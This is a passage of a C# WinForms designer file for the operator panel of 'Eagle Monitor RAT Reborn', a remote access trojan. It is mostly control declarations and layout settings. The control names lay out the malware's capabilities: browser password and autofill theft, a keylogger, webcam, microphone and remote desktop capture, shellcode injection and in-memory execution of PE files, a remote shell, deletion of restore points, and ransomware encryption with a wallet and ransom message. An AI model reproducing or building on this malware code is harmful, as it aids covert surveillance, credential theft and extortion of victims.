System.Windows.Forms.DataGridView(); this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.passwordContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.getPasswordToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar1 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage4 = new System.Windows.Forms.TabPage(); this.guna2VScrollBar2 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.historyDataGridView = new System.Windows.Forms.DataGridView(); this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.historyContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.historyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage6 = new System.Windows.Forms.TabPage(); this.autofillDataGridView = new System.Windows.Forms.DataGridView(); this.Column21 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column23 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column24 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column25 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.autofillContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.autofillToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar5 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage7 = new System.Windows.Forms.TabPage(); this.keywordsDataGridView = new System.Windows.Forms.DataGridView(); this.Column26 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.keywordsContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.keywordsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar6 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage2 = new System.Windows.Forms.TabPage(); this.panel1 = new System.Windows.Forms.Panel(); this.fileManagerGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage9 = new System.Windows.Forms.TabPage(); this.fileManagerDataGridView = new System.Windows.Forms.DataGridView(); this.Column11 = new System.Windows.Forms.DataGridViewImageColumn(); this.Column12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.fileManagerContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.goToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.backToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.shortcutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.shortcutContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.downloadSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.desktopSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.documentsSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.userProfileSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.fileContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.downloadFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.deleteFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.directoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.directoryContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.addRansomwareToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar3 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.panel2 = new System.Windows.Forms.Panel(); this.labelPath = new System.Windows.Forms.Label(); this.disksGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.tabPage13 = new System.Windows.Forms.TabPage(); this.dowloadFileDataGridView = new System.Windows.Forms.DataGridView(); this.Column28 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column29 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column30 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.downloadContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.pauseToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.startDowloadFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar7 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage5 = new System.Windows.Forms.TabPage(); this.panel3 = new System.Windows.Forms.Panel(); this.processDataGridView = new System.Windows.Forms.DataGridView(); this.Column15 = new System.Windows.Forms.DataGridViewImageColumn(); this.Column16 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column17 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column18 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column19 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column20 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.processContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.refreshProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.suspendToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.resumeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.shellcodeInjectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar4 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage8 = new System.Windows.Forms.TabPage(); this.remoteGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage10 = new System.Windows.Forms.TabPage(); this.remoteDesktopPictureBox = new System.Windows.Forms.PictureBox(); this.remoteDesktopContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.saveRemoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.panel4 = new System.Windows.Forms.Panel(); this.captureGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch(); this.mouseGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch(); this.panel5 = new System.Windows.Forms.Panel(); this.qualityGuna2TrackBar = new Guna.UI2.WinForms.Guna2TrackBar(); this.label1 = new System.Windows.Forms.Label(); this.keyboardGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch(); this.label4 = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.label6 = new System.Windows.Forms.Label(); this.tabPage11 = new System.Windows.Forms.TabPage(); this.remoteWebCamPictureBox = new System.Windows.Forms.PictureBox(); this.webCamContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.getWebCamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.saveWebCamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.panel8 = new System.Windows.Forms.Panel(); this.camerasGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.captureWebCamGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch(); this.panel9 = new System.Windows.Forms.Panel(); this.label2 = new System.Windows.Forms.Label(); this.tabPage12 = new System.Windows.Forms.TabPage(); this.panel10 = new System.Windows.Forms.Panel(); this.microphoneContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.getMicrophonesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.audioDevicesGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.label7 = new System.Windows.Forms.Label(); this.currentMachineDevicesGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.remoteMicrophoneGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch(); this.label3 = new System.Windows.Forms.Label(); this.tabPage14 = new System.Windows.Forms.TabPage(); this.miscellaneousGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage15 = new System.Windows.Forms.TabPage(); this.memoryExecutionGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage19 = new System.Windows.Forms.TabPage(); this.nativePEDataGridView = new System.Windows.Forms.DataGridView(); this.Column35 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.nativePEContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.addNativePEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeNativePEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sendNativePEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage22 = new System.Windows.Forms.TabPage(); this.managedPEDataGridView = new System.Windows.Forms.DataGridView(); this.Column33 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column34 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.managedPEContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.addManagedPEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeManagedPEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sendManagedPEContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage20 = new System.Windows.Forms.TabPage(); this.shellcodeDataGridView = new System.Windows.Forms.DataGridView(); this.Column32 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.shellcodeContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.addShellCodeContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeShellCodeContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sendShellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar8 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage21 = new System.Windows.Forms.TabPage(); this.platformGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.languageComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.codeTextBox = new FastColoredTextBoxNS.FastColoredTextBox(); this.testDotNetGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.sendDotNetGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.importLibDataGridView = new System.Windows.Forms.DataGridView(); this.Column31 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.importLibContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.addImportLibContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeImportLibContextMenuStripToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage16 = new System.Windows.Forms.TabPage(); this.keystrokeRichTextBox = new System.Windows.Forms.RichTextBox(); this.panel12 = new System.Windows.Forms.Panel(); this.keyloggerGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tabPage17 = new System.Windows.Forms.TabPage(); this.informationGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage30 = new System.Windows.Forms.TabPage(); this.retrieveInformationGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.panel22 = new System.Windows.Forms.Panel(); this.guna2GroupBox2 = new Guna.UI2.WinForms.Guna2GroupBox(); this.panel16 = new System.Windows.Forms.Panel(); this.guna2VScrollBar11 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.systemInformationDataGridView = new System.Windows.Forms.DataGridView(); this.Column40 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column41 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.guna2GroupBox1 = new Guna.UI2.WinForms.Guna2GroupBox(); this.panel15 = new System.Windows.Forms.Panel(); this.componentsDataGridView = new System.Windows.Forms.DataGridView(); this.Column38 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column39 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.guna2VScrollBar10 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.panel13 = new System.Windows.Forms.Panel(); this.cpuDataGridView = new System.Windows.Forms.DataGridView(); this.Column36 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column37 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.guna2VScrollBar9 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.panel14 = new System.Windows.Forms.Panel(); this.tabPage31 = new System.Windows.Forms.TabPage(); this.guna2VScrollBar15 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.networkInformationDataGridView = new System.Windows.Forms.DataGridView(); this.retrieveNetworkGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tabPage18 = new System.Windows.Forms.TabPage(); this.panel18 = new System.Windows.Forms.Panel(); this.panel19 = new System.Windows.Forms.Panel(); this.guna2GroupBox3 = new Guna.UI2.WinForms.Guna2GroupBox(); this.blockMouseGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.blockKeyboardGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.guna2GroupBox5 = new Guna.UI2.WinForms.Guna2GroupBox(); this.screenlockerGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.showDesktopIconsGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.hideDesktopIconsGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.label10 = new System.Windows.Forms.Label(); this.label9 = new System.Windows.Forms.Label(); this.showTaskbarGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.hideTaskbarGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.wallpaperGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.label8 = new System.Windows.Forms.Label(); this.guna2GroupBox6 = new Guna.UI2.WinForms.Guna2GroupBox(); this.volumeDownGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.volumeUpGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.guna2GroupBox8 = new Guna.UI2.WinForms.Guna2GroupBox(); this.powerStateGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.setPowerGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.guna2GroupBox4 = new Guna.UI2.WinForms.Guna2GroupBox(); this.degreesGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.rotateScreenGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.guna2GroupBox7 = new Guna.UI2.WinForms.Guna2GroupBox(); this.linkWebGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.linkWebGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tabPage23 = new System.Windows.Forms.TabPage(); this.messageRichTextBox = new System.Windows.Forms.RichTextBox(); this.usernameChatGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.chatSendGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.messageChatGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.panel17 = new System.Windows.Forms.Panel(); this.chatGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tabPage24 = new System.Windows.Forms.TabPage(); this.askUACGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.guna2GroupBox9 = new Guna.UI2.WinForms.Guna2GroupBox(); this.restorePointDataGridView = new System.Windows.Forms.DataGridView(); this.Column42 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column43 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column44 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column45 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.restorePointContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.refreshRestorePointToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.deleteRestorePointToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar12 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage25 = new System.Windows.Forms.TabPage(); this.ransomwareGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage26 = new System.Windows.Forms.TabPage(); this.pathRansomwareDataGridView = new System.Windows.Forms.DataGridView(); this.Column46 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.ransomwarePathContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.removeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar13 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.tabPage27 = new System.Windows.Forms.TabPage(); this.msgRansomwareGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.walletGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.checkExtensionsGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.panel20 = new System.Windows.Forms.Panel(); this.extensionRansomwareDataGridView = new System.Windows.Forms.DataGridView(); this.Column47 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.extensionContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.addExtensionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.removeExtensionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.guna2VScrollBar14 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.subDirectoriesGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.tabPage28 = new System.Windows.Forms.TabPage(); this.startDecryptionGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.startEncryptionGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.generateRSAKeyGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.tabPage29 = new System.Windows.Forms.TabPage(); this.panel21 = new System.Windows.Forms.Panel(); this.remoteShellStdOutRichTextBox = new System.Windows.Forms.RichTextBox(); this.remoteShellGuna2ToggleSwitch = new Guna.UI2.WinForms.Guna2ToggleSwitch(); this.label11 = new System.Windows.Forms.Label(); this.remoteShellGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.remoteShellGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.ransomwareContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.removePathToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.logoPictureBox = new System.Windows.Forms.PictureBox(); this.panel6 = new System.Windows.Forms.Panel(); this.guna2Panel5 = new Guna.UI2.WinForms.Guna2Panel(); this.bytesSentlabel = new System.Windows.Forms.Label(); this.bytesReceivedLabel = new System.Windows.Forms.Label(); this.panel7 = new System.Windows.Forms.Panel(); this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); this.Column48 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column49 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column50 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column51 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column52 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.mainGuna2TabControl.SuspendLayout(); this.tabPage1.SuspendLayout(); this.recoveryGuna2TabControl.SuspendLayout(); this.tabPage3.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.passwordsDataGridView)).BeginInit(); this.passwordContextMenuStrip.SuspendLayout(); this.tabPage4.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.historyDataGridView)).BeginInit(); this.historyContextMenuStrip.SuspendLayout(); this.tabPage6.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.autofillDataGridView)).BeginInit(); this.autofillContextMenuStrip.SuspendLayout(); this.tabPage7.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.keywordsDataGridView)).BeginInit(); this.keywordsContextMenuStrip.SuspendLayout(); this.tabPage2.SuspendLayout(); this.panel1.SuspendLayout(); this.fileManagerGuna2TabControl.SuspendLayout(); this.tabPage9.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.fileManagerDataGridView)).BeginInit(); this.fileManagerContextMenuStrip.SuspendLayout(); this.shortcutContextMenuStrip.SuspendLayout(); this.fileContextMenuStrip.SuspendLayout(); this.directoryContextMenuStrip.SuspendLayout(); this.panel2.SuspendLayout(); this.tabPage13.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.dowloadFileDataGridView)).BeginInit(); this.downloadContextMenuStrip.SuspendLayout(); this.tabPage5.SuspendLayout(); this.panel3.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.processDataGridView)).BeginInit(); this.processContextMenuStrip.SuspendLayout(); this.tabPage8.SuspendLayout(); this.remoteGuna2TabControl.SuspendLayout(); this.tabPage10.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.remoteDesktopPictureBox)).BeginInit(); this.remoteDesktopContextMenuStrip.SuspendLayout(); this.panel4.SuspendLayout(); this.tabPage11.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.remoteWebCamPictureBox)).BeginInit(); this.webCamContextMenuStrip.SuspendLayout(); this.panel8.SuspendLayout(); this.tabPage12.SuspendLayout(); this.panel10.SuspendLayout(); this.microphoneContextMenuStrip.SuspendLayout(); this.tabPage14.SuspendLayout(); this.miscellaneousGuna2TabControl.SuspendLayout(); this.tabPage15.SuspendLayout(); this.memoryExecutionGuna2TabControl.SuspendLayout(); this.tabPage19.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.nativePEDataGridView)).BeginInit(); this.nativePEContextMenuStrip.SuspendLayout(); this.tabPage22.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.managedPEDataGridView)).BeginInit(); this.managedPEContextMenuStrip.SuspendLayout(); this.tabPage20.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.shellcodeDataGridView)).BeginInit(); this.shellcodeContextMenuStrip.SuspendLayout(); this.tabPage21.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.codeTextBox)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.importLibDataGridView)).BeginInit(); this.importLibContextMenuStrip.SuspendLayout(); this.tabPage16.SuspendLayout(); this.tabPage17.SuspendLayout(); this.informationGuna2TabControl.SuspendLayout(); this.tabPage30.SuspendLayout(); this.guna2GroupBox2.SuspendLayout(); this.panel16.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).BeginInit(); this.guna2GroupBox1.SuspendLayout(); this.panel15.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).BeginInit(); this.panel13.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).BeginInit(); this.tabPage31.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).BeginInit(); this.tabPage18.SuspendLayout(); this.panel18.SuspendLayout(); this.panel19.SuspendLayout(); this.guna2GroupBox3.SuspendLayout(); this.guna2GroupBox5.SuspendLayout(); this.guna2GroupBox6.SuspendLayout(); this.guna2GroupBox8.SuspendLayout(); this.guna2GroupBox4.SuspendLayout(); this.guna2GroupBox7.SuspendLayout(); this.tabPage23.SuspendLayout(); this.tabPage24.SuspendLayout(); this.guna2GroupBox9.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.restorePointDataGridView)).BeginInit(); this.restorePointContextMenuStrip.SuspendLayout(); this.tabPage25.SuspendLayout(); this.ransomwareGuna2TabControl.SuspendLayout(); this.tabPage26.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.pathRansomwareDataGridView)).BeginInit(); this.ransomwarePathContextMenuStrip.SuspendLayout(); this.tabPage27.SuspendLayout(); this.panel20.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.extensionRansomwareDataGridView)).BeginInit(); this.extensionContextMenuStrip.SuspendLayout(); this.tabPage28.SuspendLayout(); this.tabPage29.SuspendLayout(); this.panel21.SuspendLayout(); this.ransomwareContextMenuStrip.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).BeginInit(); this.panel6.SuspendLayout(); this.guna2Panel5.SuspendLayout(); this.panel7.SuspendLayout(); this.SuspendLayout(); // // closeGuna2ControlBox // this.closeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.closeGuna2ControlBox.CustomClick = true; this.closeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.closeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.closeGuna2ControlBox.Location = new System.Drawing.Point(1236, 1); this.closeGuna2ControlBox.Name = "closeGuna2ControlBox"; this.closeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.closeGuna2ControlBox.TabIndex = 2; this.closeGuna2ControlBox.Click += new System.EventHandler(this.closeGuna2ControlBox_Click); // // maximizeGuna2ControlBox // this.maximizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.maximizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MaximizeBox; this.maximizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.maximizeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.maximizeGuna2ControlBox.Location = new System.Drawing.Point(1189, 1); this.maximizeGuna2ControlBox.Name = "maximizeGuna2ControlBox"; this.maximizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.maximizeGuna2ControlBox.TabIndex = 3; // // minimizeGuna2ControlBox // this.minimizeGuna2ControlBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.minimizeGuna2ControlBox.ControlBoxType = Guna.UI2.WinForms.Enums.ControlBoxType.MinimizeBox; this.minimizeGuna2ControlBox.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.minimizeGuna2ControlBox.IconColor = System.Drawing.Color.White; this.minimizeGuna2ControlBox.Location = new System.Drawing.Point(1142, 1); this.minimizeGuna2ControlBox.Name = "minimizeGuna2ControlBox"; this.minimizeGuna2ControlBox.Size = new System.Drawing.Size(45, 29); this.minimizeGuna2ControlBox.TabIndex = 4; // // clientLabel // this.clientLabel.AutoSize = true; this.clientLabel.BackColor = System.Drawing.Color.Transparent; this.clientLabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); this.clientLabel.Location = new System.Drawing.Point(41, 9); this.clientLabel.Name = "clientLabel"; this.clientLabel.Size = new System.Drawing.Size(16, 13); this.clientLabel.TabIndex = 7; this.clientLabel.Text = "..."; this.clientLabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; this.clientLabel.MouseDown += new System.Windows.Forms.MouseEventHandler(this.clientLabel_MouseDown); // // mainGuna2TabControl // this.mainGuna2TabControl.Alignment = System.Windows.Forms.TabAlignment.Right; this.mainGuna2TabControl.Controls.Add(this.tabPage1); this.mainGuna2TabControl.Controls.Add(this.tabPage2); this.mainGuna2TabControl.Controls.Add(this.tabPage5); this.mainGuna2TabControl.Controls.Add(this.tabPage8); this.mainGuna2TabControl.Controls.Add(this.tabPage14); this.mainGuna2TabControl.Controls.Add(this.tabPage24); this.mainGuna2TabControl.Controls.Add(this.tabPage25); this.mainGuna2TabControl.Controls.Add(this.tabPage29); this.mainGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.mainGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.mainGuna2TabControl.Location = new System.Drawing.Point(0, 0); this.mainGuna2TabControl.Name = "mainGuna2TabControl"; this.mainGuna2TabControl.SelectedIndex = 0; this.mainGuna2TabControl.Size = new System.Drawing.Size(1279, 482); this.mainGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.mainGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.mainGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.mainGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.mainGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); 